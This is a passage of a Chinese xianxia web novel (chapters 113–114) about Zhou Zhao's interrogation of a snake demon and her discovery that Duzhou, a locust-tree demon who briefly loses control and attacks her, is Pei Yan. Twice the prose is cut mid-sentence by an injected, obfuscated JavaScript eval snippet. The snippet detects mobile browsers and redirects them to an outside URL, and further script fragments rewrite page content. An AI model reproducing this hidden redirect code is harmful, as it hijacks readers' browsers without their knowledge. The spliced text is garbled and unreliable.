周昭颇为冷淡地笑了笑,道:“果然,人心难测。不光是大人,连我也被骗了。” “只是猜测,尚无定论。”陆轻苹停下脚步,犹疑问道,“对了,那名叫折杞的,到底怎么回事儿?从前在无相城,他不是唤你很亲热吗?” “啊,你说折杞。”周昭如今想起折杞,总还是记忆里那个少年将军,更早一些,便是藏在月光底下的草丛背后,手里捏着一束皱皱巴巴鲜花的孩子。 她的目光飘向很远的地方,眼中的柔和稍纵即逝,随即摇头,道:“我也不知道。人太复杂了,各人有各人的心思,也许,折杞的心思就是变强吧。” 其实那个人是折杞,周昭并不算太意外。 梁王不是终点,皇帝也不是,他们背后有一个周昭很熟悉的故人。至少这个人知道长淮,知道宁啻,甚至知道渡舟的真实身份。这个人其实并不难猜,不过周昭时间不多,容不得打草惊蛇猜错一次。 他们去时,玉面郎君焉了吧唧地吊在房梁上,看着只剩半口气。 周昭道:“大人,我想单独问他几句话,可否?”陆轻苹铁面无私摇头道:“不可,主君命我寸步不离跟着你。” 听见他们二人交谈,蛇头缓缓抬起,目光中先是露出惊惧之色,随即又笑:“公主殿下,不,应该叫您......陛下。我的好陛下,您怎么来了?” 他打量着周昭,点评道:“美则美矣,却不是我喜欢的那款,我平生阅女无数,最销魂的,还数黎国王后。” 周昭转向陆轻苹,平静道:“有剑没有?” 陆轻苹递给她一柄银色长剑,周昭道了声谢,转头就将剑尖插进蛇腹,痛得那玉面郎君连声嚎叫,周昭却不停手,左一剑右一剑,偏偏只刺进半寸,死是死不掉,却痛得紧。 “天杀的周昭!” 陆轻苹看得肉疼,周昭置若罔闻,刺够了,将剑还给陆轻苹,转向蛇妖道:“不装了?” “周昭,我也不求你给个痛快,只怕是我死了,再也无人证明你的清白!” 周昭怒极反笑,冷声道:“我的清白?你想多了,我本就不是清清白白的人,不差你这条命。” 那玉面郎君痛得直抽气,冷静下来,眼珠子一转,又下意识露出蛇妖无比谄媚的表情,柔声道:“你不差我这条命?好端端的又来看我做什么?” 周昭冷冷道:“你身上那串佛珠,哪里来的?” 彼时玉面郎君变成上官的样子,除了说话语气截然不同,最重要的是他腕上戴着一串通红的佛珠。而那串佛珠,周昭再熟悉不过,当年她的母后就常常戴着这样一串佛珠。 玉面郎君先是一愣,随即哈哈笑道:“你竟然还有求我的时候。不过,你干嘛不去问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这时,陆轻苹的声音将她从地狱拉回来,“......你真是……周昭?周朝的皇帝?” 周昭莫名想笑:“陆大人,你这人怪天真的。事到如今,还问这种问题。” “不,我只是不敢相信。”陆轻苹解释道。 “昏庸无道,杀人如麻,从死人堆里爬出来的亡国君,流离千年的孤魂野鬼。你怕我吗?” 陆轻苹摇摇头,平静道:“能为民亲征的皇帝,怎会昏庸?史书是后人写的,真正的历史却是你亲身经历的。我一向以为,一个人只要问心无愧,那便无愧天地,不必管别人说什么。” “拿我来说,我为牵机营做事,是因为我知道有时候清流并不一定都于国有利,就像不能说贪官就不是好官。你是皇帝,应该比我更懂水至清则无鱼的道理。当年探花之案,你有句话没说对,救我出大牢的不是陛下,而是主君。外人都说主君心狠手辣,是国之祸害,但于我而言,永远记得当年是他救我出牢狱,也是他命人安葬了我母亲。所以说......公道自在人心,只求问心无愧。” 周昭似乎有几分动容,却没说话。 若是有愧呢? 113. 第 113 章 夜晚月色明亮,周昭独坐在莲池旁,想起谢景大婚那日也是个满月,月光同样亮得惊人..... 周昭等人到了黎国城门外,才知谢景压根不知道那封邀请她来婚宴的书信。 黎国守城士兵一听他们是从周朝来的使臣,不约而同神色警惕,窃窃私语,周昭隐约听见“槐鬼”“染病”的字眼,心道:“难怪燕飞入城不易。” 后来颇费了一番周折,总算得以入城。到宫门口时谢景亲自来迎,一路畅通无阻进了皇宫。 晚宴上那黎国国主一反常态,十分热情,周昭的目光却被王后颈间佛珠吸引。不知是不是她的错觉,总觉王后神色淡淡,似乎有什么心事郁结。 宴罢,王后借口不胜酒力离席。 周昭本想跟出去,问问那串佛珠是怎么来的,但等她推却几轮酒杯再出去寻时,却不见王后踪影。 周昭问过宫人,沿着王后寝宫的方向追去,月光洒在小径上,将铺了满地的鹅卵石映照得宛如玉石。 那宫殿与周朝格局很不相同,周昭一时迷了路,却忽然听到有女子低泣的声音。 是王后?周昭侧耳倾听,停下脚步。 她沿着假山向后走,尽量不发出一丁点声音。直到今天周昭还忘不掉,那处宫殿装着一扇巨大的绯色轻纱窗户,她刚转过假山,两条翻腾着的尾巴便被月光投影在纱窗上。 周昭骇了一跳,拔剑上前。 …… 后来的事情便有些模糊了。 周昭忘了怎样砍伤那蛇妖一条尾巴,只记得蛇妖破窗逃走后,王后满面泪痕,跪在她面前声声切切地恳求她莫要将此事说出去,更不能与谢景知道。 她说罢,突然捡起地上那把剑决绝地刺入胸膛。 同样是倾国容颜,同样是挂着鲜红佛珠,同样是这副惨烈的死状...... 周昭忽然想到皇后。 她惊恐地连连后退,黎国王后的脸与皇后的脸渐渐重合,鲜血就像一条毒蛇蜿蜒爬行到她脚边。 “啊!!!来人呐!”一个太监尖叫着跑开,“来——” 燕飞干脆利落地扭断那太监的脖子,冲上来道:“陛下!快走!” “燕飞!你......”周昭惊愕道。 燕飞又催促道:“陛下!再不走,就走不掉了!” “不行!”周昭转身捡起地上散落的华服,双手颤抖着为王后穿衣。 ...... “殿下在想什么?” 周昭缓缓回头,渡舟拢着件墨黑大氅,看上去又恢复了原来的模样,墨发半束,一步步沉稳地朝周昭走过来。 周昭身后,那满池莲花悄然间次第盛开,莲叶微颤如雨后初霁。可惜周昭的目光都在渡舟身上,一点儿也没瞧见这方景致悠然。 周昭再见渡舟,心情很复杂。 有不解,有困惑,也有……她说不上来为什么,只是觉得莲池边不再那么冷。 “我在想,要是当年我没有去寻王后......”她毫无防备地将心里话说出来,又自嘲道,“没什么。三日了,我等了你很久。” 渡舟微微诧异,在她对面坐下:“我以为......” “你以为我想要你死?” 渡舟神情微滞,周昭视线向下,落在渡舟手腕处的伤,愣了愣,道:“能让我看看你的本相吗?” 渡舟轻描淡写地垂下手腕将伤掩去,周昭道:“你不必变幻皮相骗我,被钦原骨刺所伤,三天怎么能好?” 渡舟微笑道:“殿下不相信我的实力?” 周昭不知道该说什么,只是倚着栏杆摇头,实话实说道:“我害怕。” 怕你死了。怕周朝数万亡魂找不到归宿。 是这样的,一定是这样。 不然,我为何会怕呢? 渡舟从小池里折了一朵开得正艳的莲花,交给周昭,说道:“殿下从前说,人活一世冷暖苦乐,我用了一千多年才明白这句话的意思。今日将这朵莲花送给殿下,只要花不败……”他笑了笑:“我就一定在,等着殿下来找我。” 周昭假装没听见他话外之音,犹豫片刻,接过花,凑近嗅了嗅,问道:“你额间那朵九瓣莲,从前不曾见过,是什么?” 周昭记得那日渡舟闭关出来,便有了这朵九瓣莲,她这几日也曾问过渡舟因何闭关,陆轻苹似乎也答不上来,更不必说这九瓣莲的来历。 “这个啊……”渡舟道,“这是我的命。” 见周昭不解,又说:“我用了一千多年才让这莲花绽放,所以说,是我的命。” 渡舟这话说得云山雾绕,周昭还是没听明白。 她想问渡舟为何要被顾绍所胁迫,又为何要真的被钦原骨刺所伤,话到嘴边,耳畔又响起多尾蛇那满嘴的胡话,怎么问都觉得讪讪的,不好开口。 “钦原骨刺克妖不假,你……” 渡舟沉默了一会儿,说道:“折杞那蠢货,自以为了解我,便能杀我。我不算是妖,钦原骨刺自然不能置我于死地。” 不算是妖…… 鬼胎,人间女子十月怀胎生下来,的确不算妖。 可为何众鬼又称呼渡舟为妖主,那钦原骨刺又的确伤他半条性命…… 渡舟见周昭低着头想得十分专注,笑说:“殿下,你对我的身世很好奇?” “……嗯。” 渡舟笑得更厉害:“从前殿下说英雄不问来路,只当交个朋友,对我这不速之客半分好奇都无。如今该说是我长进了,还是在殿下心里也有我一隅之地?” 他这话问得突然,周昭冷不防地睁大眼睛,渡舟又很快说起别的话岔过去:“殿下在无支山见过烛龙了?” “见过了。” 渡舟挑了挑眉,道:“他说什么了?是不是又说是我的救命恩人之类的疯话。” 周昭听出其中另有隐情,道:“他的确这么说,不过……烛龙还是个小孩子,可别怪他。” 渡舟闻言哈哈笑道:“殿下莫要被烛龙骗了,他最善变化,在你面前装可爱扮幼童,在别人面前可就不是那副样子了。几千岁的妖了,老不正经。” “果真?”这是周昭万没有想到的。 “嗯。我第一次见他,也险些被骗了。”渡舟的目光落在稍远点的地方,周昭几乎以为他要提起旧事,渡舟却没再继续往下说,转而道,“......殿下刚才是不是想说,若是你当年没有去寻王后,谢景是不是就不会死。” “你怎么知道当年的事?”周昭惊愕道。 渡舟的表情渐渐阴郁,道:“我原本想不通你与谢景缘何决裂,今日才明白。” 他拿出一串佛珠递给周昭:“殿下在找这个?” 周昭接过佛珠,知道渡舟已经去找过玉面蛇了。看来渡舟的威慑力要比她大上许多,也不知他用了什么法子,竟让那条赖皮蛇愿意交出来。 她指尖摩挲着佛珠,只觉得冰冷,淡淡道:“这佛珠,我瞧着很普通。” “的确很普通。因为就这串佛珠而言,已经没什么用了。”渡舟解释道,“这是狍鸮串,是用狍鸮的血制成。狍鸮重欲,人只要戴上这串珠子,内心的欲望就会被不断放大,直到戴它的人被吞噬。可若戴它的人心澄如镜,狍鸮串便发挥不出什么作用。久而久之,反倒会被消弭血性,变成普通珠串。” “那我母后,岂不是......”周昭忽然住嘴,她像是被什么东西烫到,猛地将佛珠丢开,表情又恢复成一成不变的冷淡。 渡舟半晌没说话,过了会子,方道:“今夜太晚,等明日我带你去找那多尾蛇,届时殿下有什么想问的,问便是了。” 周昭本想说现在可以去,看见渡舟那张略显倦色的脸,心头竟然浮起一丝不忍。 夜半,大雨倾盆。 白雨如鼓,敲得窗棂抖个不停。闪电过后,雷声轰隆炸开,周昭睁开眼睛,闻着香炉中丝丝缕缕的味道,却睡意全无。 她披着外衣走到窗前,院中的傀儡兀自游荡,像没有根的幽灵。 在这接天连日的电闪雷鸣间隙,一声很细微的响动从雨幕中传来。 少顷,雨势稍减,云开月出。 那让人不安的声音却丝毫没有减退,反而愈演愈烈,就像是什么东西被撞倒在地。 周昭又仔细听了会儿,暗道:“八成是般般不小心打碎了东西。” 正欲躺下去,却听得一声尖利的猫叫,随即又是乒乒乓乓一阵乱响,期间夹杂几声混乱的猫叫,周昭又猛地翻身起来,那白猫像是能通人心意,黑压压的窗根底下已经显露出窈窕的猫影子。 周昭起身开门,一团白影扑进她怀里。 般般浑身湿淋淋的,少见地发着抖,声音也像婴儿般又小又细。它张开粉红色的嘴巴,咬住周昭的袖口,不依不饶地向外扯了两下。 周昭一脸困惑,低声问道:“般般,你怎么了?” 般般四只脚在光滑的地面上来回地转,牙齿不肯松开她,拼命地向后拽。 周昭犹豫地指了指门外,试探道:“你想让我跟你走?” 般般细微地叫了一声。 与此同时,又是一阵乱响,周昭暗道:“这府里再无其他人,难道是渡舟?” 她起身匆匆要走,般般却又咬住她的裤脚,似乎又不想让她前去。般般如此反常,周昭哪里还待着住,抱起猫直奔渡舟的房间而去。 般般在她怀里一个劲儿地发抖,快到门口时,终于腾地一下从她怀里一跃而出,没了踪影。 牵机营是渡舟的地盘,按理说能有什么危险? 可周昭一想到那日渡舟瞬间白发,不知不觉中便失了方寸,敲了敲门,没有反应,等了片刻便推门进去,唤道:“渡舟?” 她刚踏进去,那扇门便自动在她严丝合缝地关上,就好像突然进入密不透风,伸手不见五指的地洞,嘈杂的雨声顷刻间隔绝于外。 屋内一丝光也没有,只能听到衣摆的摩挲声。 周昭摸着墙壁往前走了几步,唤道:“渡舟?你在吗?” 还是没人应。 周昭的心愈发往下沉,她摸索到窗边,想要推开窗看清屋内的情形。 突然间,一个冰凉坚硬的物什自袖口钻进去,缠绕上她的胳膊! 周昭瞬间激起一身鸡皮疙瘩,头皮简直要炸开,她将险些脱口而出的尖叫咬死在舌尖,迅捷地往后跳了两步。 但那东西丝毫没给她后退的机会,拽住她的胳膊猛地向黑暗处拖去。 这熟悉的感觉让周昭浑身一个激灵,她几乎是情不自禁地想起了那晚她牵着狼牙,精疲力尽地走在盛都城大街上,也是这样冰冷坚硬的东西险些要了她的命! 本能的恐惧瞬间摄住心魂,周昭的手脚冰冷麻木,等她反应过来时,整个人已经被拖进一片幽深的黑暗。 “你是——是什么东西!”那阵突如其来的恐惧过去之后,便是另一种意味的恐惧。 渡舟如果出事...... 周昭想到这里便有点儿不敢再往下想。 她一没武器,二无法力,那东西兴奋地越缠越紧,周昭忍住恶心两手抓住,虽然她看不见,但周昭无比确定这就是槐树的藤蔓。 她将缠住自己左臂的藤蔓在胳膊上绕了两圈,借力腾空而起,狠狠一脚踹去。 谁料当年的法子如今却没奏效。 周昭的腿刚抬到半空,另一根藤蔓又来势汹汹,像冰冷的毒蛇极快地裹缠住她的右腿,向下凶狠地一拽。 周昭头朝下脚朝上摔得好生体面,脑袋重重地磕在不知是板凳还是桌角,一串眼泪争先恐后地往外流。 藤蔓却没有给周昭片刻喘息的机会,又是一条粗壮的树枝缠住她的腰身,将她高高抛起往墙上一贯,窗户咔嗒一声响,一丝冷冽的月光胆怯地溜进来,周昭趴在地上抬眸看,只看了一眼,如五雷轰顶再不能动弹。 这长着槐树“手脚”,在她的噩梦中出现过无数回的“槐鬼”—— 正是渡舟。 渡舟像一头白发怪物,双目赤红,看周昭的眼神就像在看一块鲜嫩多汁的肉,饿狼扑食般横冲直撞地过来。 周昭愣了片刻才反应过来渡舟是妖,真的是槐妖。 显而易见,这只槐妖现在失控了。 她暗道一声要命,起身便跑,刚跑了两步就被缠住双脚拖行回来。 渡舟倾身而上,将她的双臂向外打开按在墙壁上,周昭后背一阵冷汗逼上来,她试图唤醒渡舟的意识,唤道:“渡舟,渡舟你看看我,我是……唔!” 周昭猛地仰起脖子瞪大眼睛,渡舟埋首在她颈间狠咬了一口,疼得周昭直抽气,忍不住喊道:“萧十六!” 渡舟丝毫反应也没有。 槐鬼吃人,天性使然。 周昭痛得厉害,身子抖得就像秋天一片干枯的落叶,她受不了地低下头,下巴正好在渡舟的左边脸上蹭了蹭,渡舟不知怎的终于停下,抬起茫然的双眸看着她。 周昭心中一喜,学着刚才的样子又轻柔地蹭了蹭渡舟的右脸,渡舟果然十分受用,眼神中少了几分狠厉。 周昭像逗猫那样,安抚道:“渡舟,十六,你放开我,好不好?” 不知道是周昭蹭来蹭去让渡舟感到舒服,还是这句近乎温柔的话起了作用,缠绕住她双臂的藤蔓竟然略有松动。 周昭一边哄他,等藤蔓松开后,瞅准时机从渡舟身下一溜而走。堂堂周朝皇帝,从未有过如此狼狈时刻,她几乎是连滚带爬地往门边滚。 耳畔虎虎生风。周昭暗道一声,又来! 她原地打了个滚儿,刚爬起来又脚一软摔下去,眼见渡舟又来抓她,只好顺势再滚,如此一来屋内的摆设诸如花瓶香炉之类,全都洋洋洒洒付诸大地,清脆的响声堪比昆仲之曲。 周昭却没心思听这曲调,她磕磕绊绊,东摔西倒,终于在间隙里滚到门边,周昭的手已经放在门板上,只需轻轻一推就能逃掉。 但鬼使神差地,她又向黑暗里看了一眼。 渡舟靠在窗根底下,那缕细小的月光仁慈地照在他苍白无血色的脸上,只见他双目猩红,喉咙里喘着粗气,又像是极为痛苦的低吼。 突然间,他抓起昆仲横劈下去,那根从他身体里长出来的藤蔓被齐根斩断,像血又不像血的东西从断口处汨汨流出来。 “十六!” 周昭一时大骇,往前推门的手又缩回来。等她来到渡舟身边时,周围已经散落了三四条“断臂残肢”。 “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187972|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …十六,你别……”周昭不知道渡舟这是怎么了,但她知道这一定很痛,紧紧地握住渡舟抓着昆仲的手,不让他再继续往下劈砍,“十六,把它给我。” 周昭顺利地从渡舟手中取下昆仲,担忧地摸了摸渡舟冷汗涔涔的额头,问道:“十六,你能听见我说话吗?十......” 周昭你个蠢货! 周昭在心底骂出这句话时,已经是天旋地转,被渡舟重新压在身下。他这回像是吸取了先前的教训,将她的双手双脚都牢牢禁锢住,脸上浮现出势在必得的冷笑。 不待周昭有所反应,这头狼便重新咬在她颈间,竟然连位置都跟刚才出奇的一致。 他并非真的咬,而是用牙齿叼住皮肉研磨,就像面对最美味的佳肴不忍下口,咬完左边咬右边,周昭生怕他一个控制不住便咬断自己的脖子,抬起头叫道:“十六!你......醒醒!” 她放低姿态,讨好地蹭蹭渡舟的脸,尽管这个姿势让周昭觉得无比别扭,但人在屋檐下不得不低头,嘴唇不小心擦过额头,渡舟从她颈间抬起头。 他的喉结就像一颗圆滚滚的杏子,上下滚了滚,目光幽暗,如古井深谭。 周昭被这眼神盯得心里发毛:“十六,你先放开我。” 渡舟笑了笑,他竟然笑了笑!继而俯下身咬在周昭肩头。 嘶啦—— 空气里的凉意落在裸露的皮肤上,激起一层细细密密的粒子。 周昭在黑暗中双目圆睁,鲤鱼打挺般险些从地上弹起来,渡舟将她的双手都按过头顶,另一只手按在她的腰腹,这让周昭成为板上鱼肉任他啃咬。 放肆! 周昭又想骂。 一阵剧痛贯穿肩膀。渡舟越咬越兴奋,指尖挑开寝衣,手掌贴上她小腹的皮肉,所到之处仿佛蜡烛滴落烛火,烫得周昭绷直身体,很快鲜红的血便染透了她的衣裳。 周昭想喊,不说牵机营空空荡荡无人来救,她心中也下意识地觉得渡舟并不愿让人看到这副样子。 周昭!你难道真就这样被吃掉吗? 她抬起腿,膝盖往上重重一顶,这一下好像是踢到了硬硬的骨头,对方吃痛闷哼一声,周昭手脚并用往外爬,渡舟却比她更快,大手捉住她的腰便往身下压。 骨头一声脆响,周昭冷汗唰得往下流,偏生这人一双手像铁索似的箍着她。 “渡舟!你放开!嘶!” 等等,这是—— 周昭混乱中摸到了什么东西,本来心中喜悦,凑近一看才恨得牙痒。 这不是刀不是剑,就是一本破书! 不,不是破书。 这是…… 周昭没再挣扎,她侧过脸,一动不动地看着那被风吹得哗哗作响的书册。 这是……我烧给裴砚的金刚经。 渡舟本来在她身上啃来咬去,见她安静得像个死人,茫然地抬起头。 他的视线落在经书上,突然睁大眼睛,他放开周昭,一把将经书抢过去,贴着心口喃喃道:“我的!这是我的……” 周昭得了自由,却没有跑,她神情肃然地看着渡舟,牙齿都在发颤:“……这是什么?” “我的,是我的……” “……你是谁?” 周昭用力地推开渡舟,怒气冲冲:“说啊!你是谁!你为什么会有……会有这个东西?” 周昭的声音越来越低,说着便流下眼泪。 裴砚,你不是死了吗? 你不是死在了永安门之变,死在了那个风雨夜。 我怎么唤你,你都不肯应我一声…… 渡舟抬起发红的双目,眼神似乎清明了一瞬,苍白的手抚摸上周昭的脸,无比轻柔地擦干净那上面的泪水:“殿下,别哭啊……我看着心疼。” “滚!滚啊!!”周昭起身便走,走了几步又回头,按着渡舟的肩膀道:“告诉我,你到底是不是槐妖!” “……是。” “槐鬼跟你有没有关系?” “……有。” “裴砚是不是你?” “是我。” “为什么!你告诉我为什么?啊——!”周昭发出一声痛苦的尖叫。 杀了他!为周朝百姓报仇! 杀了他!!! 萧十六是骗子!裴砚也是骗子! 杀了他啊!!! 可偏偏…… 她又忘不掉那个风雨夜,抛不开裴砚那双望进她心里的眼。 “……裴砚,我恨死你了!” 周昭扑上去,狠狠咬在渡舟肩膀上,咬得鲜血直流,她却感到阵阵痛快。 窗外一道白色闪电,雷鸣过后,大地颤动,映出两张一个比一个苍白疯魔的面孔。 这阵比闪电还要消散得更迅速些的痛快过去,又是刀割一般无尽的痛苦。 渡舟浑身发抖,牙齿打颤,残存的意识和嗜血的欲望不断地撕扯着他的身体,渡舟一面想推开周昭,一面又想吃掉周昭。 甚至还想……一些不该有的妄想。 他几乎要死在周昭身上。 “杀……杀了我!殿下,你……你动手……” 周昭转过脸,大吃一惊。 渡舟简直像个死人。 他不光瞳孔是红色,那片诡异的红甚至开始慢慢扩散,几乎整个眼眶都是血一样的赤红。 “裴砚?裴砚你醒醒!” 渡舟充耳不闻,他终于一把推开周昭,踉踉跄跄地往更黑暗里走,一面走,一面狂躁不安地将看见的所有东西都砸烂摔碎。 “别跟过来!” “裴砚!” 不,我不能…… 复仇的渴望与难忍的痛苦同样撕扯着周昭。 她到底是往前走了两步。 我不能再眼睁睁看着裴砚死在面前。 我会死的。 “裴砚!”周昭站起来跟上去,她推开偏殿的门,只见渡舟宛如困兽,极为痛苦地蜷缩在地上,怀里还紧紧抱着那本佛经。 他苍白的手指缓慢地翻开那本金刚经,嘴唇哆嗦着,一字一句地念着:“……无我相……无……人相,无众生……” 周昭轻手轻脚地走过去,渡舟却好像根本没有注意到她的存在,小声地,近乎虔诚地捧着那本经书。 “……裴砚啊,你让我……”周昭在他身边坐下,那些前尘往事好像很远了,她眼中只能看到破碎得快要死掉的裴砚。 无数尸骨化成灰烬,无数日夜皆是噩梦,走过人头累累,槐鬼的罪孽重新压在眼前的黑暗里。 至少在这一刻,他们算是相依为命。 “我念给你听,好吗?” 渡舟没反应。 周昭轻轻扯了扯,这人竟很听话地松开手。 “……无寿者相,所以者何?我相即是非相,人相、众生相、寿者相即是非相……” 渡舟眨眨眼,小心翼翼地朝她挪了挪。 周昭叹了口气,捧起渡舟的头枕在自己腿上。他还在发抖,身上那些可怖的槐树枝蔓不知何时已经消失了,眼里的血色也渐渐平息。 他跟着周昭的语速,嘴唇轻微地翕动。 “……何以故?离一切诸相,则名,诸佛……” 114. 第 114 章 清晨雨后初晴,空气像一把湿润的泥土。 用饭时,渡舟的目光像糖稀一样黏在周昭身上,周昭便顶着这样的眼神堂而皇之地回敬过去,装作无事发生:“大人,饭菜不好吃?” 渡舟被这许久不曾出现的称呼哽了一下,狐疑道:“嗓子怎么了?” 周昭面不改色地胡诌:“昨晚梦话说多了,口干。” 般般斜了个眼神,意思是这话能信吗? “昨夜……睡得好吗?” 这人倒是忘得干净,自己记不得,却来试探她。 周昭毫无破绽道:“还好,做了个梦,梦醒便忘了。” 渡舟点点头:“我也做了个梦,但没有全忘。” “哦,是个美梦还是噩梦?” “一半一半。”渡舟道,“殿下呢?” “噩梦。”周昭毫不犹豫,眼看着渡舟脸色不好,周昭放下筷子,转移话题:“我吃饱了,咱们何时去审多尾蛇?” 二人去地牢的路上,迎面走来三个傀儡,面生得很。 周昭回头看了两眼,心道:“这营中傀儡换新的频率竟然如此之快,渡舟昨夜发狂,难道除了他,还有旁人会这傀儡之术吗?” 再踏入地牢,虽然视线昏暗,玉面蛇却比之前“温顺”多了,它看见渡舟情不自禁打了个哆嗦,却嬉皮笑脸道:“肯将人带来了?” 玉面蛇虽然交出佛珠,但要让他说出实情,却有一个条件——他只对周昭说。 渡舟道:“讲吧。” 渡舟看样子是不会走了,玉面蛇虽不情愿,吐了吐蛇信子,开口道:“周昭,你不是想知道当年实情吗?好吧,我告诉你。因为......我做了谢景两年亲爹啊,哈哈哈哈!” “起初我用黎国国主的脸,后来我嫌麻烦,干脆用真身,王后知晓实情后,却不敢说一个不字。” 犹如五雷轰顶,周昭听见自己的声音怒道:“不可能!当日婚宴,黎国国主明明有出席,更何况......” “更何况,他后来闻信匆匆赶来,被陛下你一剑捅了个对穿。自此周黎决裂,谢景对你,恨之入骨。我的陛下,你得知道妖跟人不同。我有那么多子嗣,随便一个都会幻化面容。对了,还有那封书信,也是我写的。当年无妄海一面之缘,听说公主殿下荣登大宝,我岂能错过一睹天子容姿的机会?可惜,见面才发现陛下身上杀气太重,不是我喜欢的类——” 渡舟抬手放在蛇身七寸,表情不大好看。 周昭攥紧拳头又松开,声音嘶哑道:“我明白了。当晚的黎国国主,也是妖变的,对吗?” 快说,我杀的是妖,不是谢景的父皇。 快说啊! 那时场面异常混乱,周昭快速为赤身裸体的王后穿好衣衫,几十个宫人听到动静纷纷跑来。 燕飞等人不知实情,只管将周昭赶紧带离这是非之地。周昭却不肯走,欲寻谢景一同抓妖,谁知黎国国主突然冲出来…… 玉面蛇像是听到了天大的笑话,蛇信嘶嘶作响,却碍于渡舟不敢笑的大声,说道:“我的好陛下,你又错了。当晚坐在宴席上的是妖,但后来往你剑上撞的疯子,真是谢景的亲老子。” “我控制他两年,他神智不清不楚,所以,这一笔血债,陛下尽管算在我头上。可是王后……”蛇首面目狰狞,骂道,“要不是你撞破我二人好事,我们一家三口也不至于到今天地步!” “当了几天人,还真当自己是个东西。”渡舟手指微动,蛇妖顿时目呲欲裂,嘴上却不停。 “偏生你也配合,谢景百般质问,你却不肯告诉他当年撞破王后与一只妖欢好的实情。还有那些被杀掉的宫人,殿下,我真是小看你了。你想保住王后清誉,想与谢景解释清楚,又遮遮掩掩只把话说一半。谢景是个愣头青,你让他怎么信你?我本想借周朝之手除掉黎国,谁知你如此不争气,反倒是被谢景带兵打入盛都,难看!真难看!啊啊啊——住手!!” 蛇妖话没说完就被渡舟痛打,扭着身体骂道:“十六!你也不是个好东西!周昭杀母你杀爹,简直天地绝配!” 周昭心中空空荡荡,那晚腥咸的海风还在吹,却无论如何也吹不进心里了。 长淮已死,往事她本无心过问,只觉心里闷沉沉地痛,动了动干涩的嘴唇,说道:“王后无辜,受你蛊惑欺骗,可长淮……长淮又何错之有。” 玉面蛇阴险道:“当然有错了。当年在食人坡,那小子便叫嚷着要杀我,我从安县辗转来到黎国,得知那里就是谢景的故乡,怎能不报复?” 他笑了笑,面容阴沉得可怕:“说来还得多谢殿下当年留我一命,否则,谢景的爹妈也不会死。” 世间最恶毒的咒骂也不过如此。还以为早练就了一副铁石心肠,又岂知人非草木。 周昭脸色发白,渡舟低声道:“殿下,你还好吗?” 周昭僵硬地摇头,转过身,脚步虚浮:“走罢,走了,长淮。” 她没看到身后渡舟动了动手指,玉面蛇连一声惊呼都没发出来,便成了一滩流着脓血的烂肉。 走出牢房,渡舟突然闷哼一声,腰间昆仲躁动不安,颜色忽白忽红,竟像是要长脚跳出来似的。 “你怎么了?”周昭吃了一惊。 渡舟伸手往昆仲上狠拍了一巴掌,骨箫颜色褪去,渡舟神情恢复如常,回答道:“无碍。” 周昭打量着渡舟,目光审视。 月光下莲花开得安静,渡舟抽出骨箫在手中转圈儿,解释道:“殿下,还记得我跟你提过的魂变吗?” “记得,你说魂变能化妖生鬼。”那时月季花妖跟姜宅的老夫人柳染便是被这来路不明的魂变激化,才有城中尸体左腿失踪一案,周昭问道,“难道,是魂变的来源查清楚了?” 渡舟道:“嗯。”他说这话时,昆仲又散发出青白色的柔光,一会儿亮,一会儿暗,忽明忽暗看得周昭目不暇接,“是东南方向。” “东南?” “人界最早只有一位东华飞升于瀛洲。后来嘛,听说又出了蓬莱、昆仑二仙。”由于渡舟的语气颇有不屑,这“仙”字自他口中说出全无敬仰膜拜之意。 周昭不知不觉接话道:“东有瀛洲,仙人抚顶。澹溪潺潺,水清无鱼。” 渡舟停下脚步,似乎好奇她从哪里听来的这话。 虽说瀛洲早在周昭登基以前几百年就存于世,可澹溪却是周朝亡国后才有的。 周城破后,暴雨足有一月,这雨浇熄了从永安门烧到盛都城的那场大火,也让人间各处洪灾不断。 雨停后,据传瀛洲便多了一条澹溪。 水清见底,沐之能除病消灾,浮骨则安魂渡魄,因此有许多人都往瀛洲供奉东华仙君。 周昭也是一愣,方才说时顺口,如今却不知来路。提起澹溪,周昭的脑海中霎那间空白如纸,这种脱离掌控的感觉实在不太妙,她岔开话题道:“这跟魂变有什么关系?” 渡舟边走边道:“东南既有瀛洲,又有蓬莱,仙家道场理应清气充盈,却有魂变这种东西从东南而来。殿下,你不觉得奇怪吗?月季花妖之后,牵机营在其他几处也发现了魂变的痕迹。” 周昭点头道:“是很奇怪,如果真有大批魂片流入人间,恐怕要天下大乱。” 她说这话时,眉宇间不由自主地凝着一团散不开的忧虑,也许周昭就是天生的劳碌命,两辈子都长了一身忧国忧民的骨头。 她因为谢景一事碎了个七零八落的心,此时又被她一声不吭一片片捡起来重新粘好,自愈能力极强,准备好了一头扎进下一场蓄势待发的风暴里。 周昭从前便是这么过来的。 一个人若是有了不得不去做的事情,哪怕再怎么分崩离析支离破碎,也能从那点儿念想里面撑起一根虽然摇摇欲坠,但也一时半会儿断不了的脊梁。 行之有效,却极易反噬。 因为一旦回归平静,才能看到当初的伤口其实并没有粘牢,还在哗哗淌血。 所以周昭常做噩梦,少有安宁。 她问:“何时去查?” 渡舟没急着回答她,反问了一个问题:“殿下,如果你是宁啻,愿意就此浑浑噩噩地活下去,还是知道真相,哪怕……真相是常人不能接受之残酷。” 这算是点破了二人心照不宣的事实。 “……我选真相。但……”周昭皱紧眉头,“我不想让宁啻知道真相,虽然我没有权力替他做选择。” 渡舟将骨箫抛向空中,周昭觉得自己一定是深夜眼花耳聋,竟然好像听到那根骨箫鬼叫了一声,渡舟将昆仲抛起又抓住,道:“我知道了。” 他笑了笑,自言自语道:“瀛洲或许有我一直想找的东西。” 这晚过后,渡舟却再次闭关不出。牵机营只剩下周昭跟般般这一人一猫,哦对了,还有不会说话的木头傀儡。 